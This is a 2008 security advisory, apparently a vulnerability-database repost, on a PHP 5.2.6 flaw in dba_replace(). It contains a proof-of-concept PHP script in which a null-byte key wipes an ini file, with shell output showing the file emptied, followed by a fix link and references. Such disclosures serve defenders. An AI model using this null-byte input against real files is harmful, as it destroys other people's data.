PHP 5.2.6 dba_replace() destroying file

2008-11-27 / 2008-11-28
Risk: Medium
Local: Yes
Remote: No
CWE: CWE-20


CVSS Base Score: 6.4/10
Impact Subscore: 4.9/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: None
Integrity impact: Partial
Availability impact: Partial

[ PHP 5.2.6 dba_replace() destroying file ] Author: Maksymilian Arciemowicz Date: - - Written: 10.11.2008 - - Public: 28.11.2008 Risk: Medium Affected Software: PHP 5.2.6 Vendor: http://www.php.net - --- 0.Description --- PHP is an HTML-embedded scripting language. Much of its syntax is borrowed from C, Java and Perl with a couple of unique PHP-specific features thrown in. The goal of the language is to allow web developers to write dynamically generated pages quickly. NOTE: These functions build the foundation for accessing Berkeley DB style databases. dba_replace - Replace or insert entry - --- 1. dba_replace() destroying file --- Function dba_replace() are not filtring strings key and value. There is a possibility the destruction of the file. # cat /www/dba.hack.php <?php $source=dba_open("/www/about.ini", "wlt", "inifile"); dba_replace("HOME","/www/",$source); ?> # cat /www/about.ini PATH=/ CURR=. HOME=/home/ # php /www/dba.hack.php # cat /www/about.ini PATH=/ CURR=. HOME=/www/ # Well. But, lets try use # cat /www/dba.ham.php <?php $source=dba_open("/www/about.ini", "wlt", "inifile"); dba_replace("\0","/www/",$source); ?> # php /www/dba.ham.php # cat /www/about.ini # Now /www/about.ini, is emtpy. - --- 2. How to fix --- Fixed in CVS http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027.2.547.2.1314& - --- 3. Contact --- Author: Maksymilian Arciemowicz

References:

http://xforce.iss.net/xforce/xfdb/47316
http://www.securityfocus.com/archive/1/archive/1/498746/100/0/threaded
http://www.securityfocus.com/archive/1/498982/100/0/threaded
http://www.securityfocus.com/archive/1/498981/100/0/threaded
http://www.osvdb.org/52206
http://cvs.php.net/viewvc.cgi/php-src/NEWS?r1=1.2027.2.547.2.1313&r2=1.2027.2.547.2.1314&
;


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